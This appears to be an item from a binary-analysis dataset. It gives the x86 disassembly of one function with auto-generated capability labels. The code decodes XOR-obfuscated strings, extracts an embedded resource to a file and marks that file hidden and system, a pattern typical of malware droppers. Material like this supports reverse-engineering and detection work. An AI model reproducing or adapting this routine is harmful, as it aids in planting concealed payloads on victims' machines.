Function at 0x10001190
Capabilities:
Extract resource via kernel32 functions
Read file via mapping
Set file attributes

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x68
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x10], 0xeebbe8a0
mov dword [ebp - 0xc], 0x2a1dade7
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0xc]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x10], 0xb73abb1a
mov dword [ebp - 0xc], 0xfe86ce4e
mov eax, dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x10], 0xa9c983f5
mov dword [ebp - 0xc], 0x4e33cc93
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x10], 0xb73ad776
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0xc], 0xfe86ce4e
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x30]
mov dword [ebp - 0x54], ecx
movaps xmm1, xmmword [ebp - 0x60]
xorps xmm1, xmmword [ebp - 0x30]
push 0xa
push 0x65
push eax
movaps xmmword [ebp - 0x30], xmm1
call esi
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [ebp - 4], eax
test eax, eax
je 0x100013ee
mov dword [ebp - 0x10], 0xeebbe8a0
push dword [ebp - 4]
mov dword [ebp - 0xc], 0x2a1dade7
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0xc]
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x10], 0xb73abb1a
mov dword [ebp - 0xc], 0xfe86ce4e
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x10], 0xa9c983f5
mov dword [ebp - 0xc], 0x4e33cc93
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x10], 0xb73ad776
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0xc], 0xfe86ce4e
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x40]
mov dword [ebp - 0x54], ecx
movaps xmm1, xmmword [ebp - 0x60]
xorps xmm1, xmmword [ebp - 0x40]
push eax
movaps xmmword [ebp - 0x40], xmm1
call esi
push eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x100013ee
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 8], eax
test eax, eax
je 0x100013ee
mov dword [ebp - 0x10], 0xeebbe8a0
push dword [ebp - 4]
mov dword [ebp - 0xc], 0x2a1dade7
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0xc]
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x10], 0xb73abb1a
mov dword [ebp - 0xc], 0xfe86ce4e
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x10], 0xa9c983f5
mov dword [ebp - 0xc], 0x4e33cc93
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x10], 0xb73ad776
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0xc], 0xfe86ce4e
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x50]
mov dword [ebp - 0x54], ecx
movaps xmm1, xmmword [ebp - 0x60]
xorps xmm1, xmmword [ebp - 0x50]
push eax
movaps xmmword [ebp - 0x50], xmm1
call esi
push eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
mov dword [ebp - 4], esi
test esi, esi
je 0x100013ee
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push esi
push 0
push 4
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov dword [ebp - 0xc], eax
test eax, eax
je 0x100013ee
push 0
push 0
push 0
push 2
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
push dword [ebp - 4]
mov esi, eax
push dword [ebp - 8]
push esi
call fcn.100045c0
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push dword [ebp - 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push edi
call esi
push 6
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret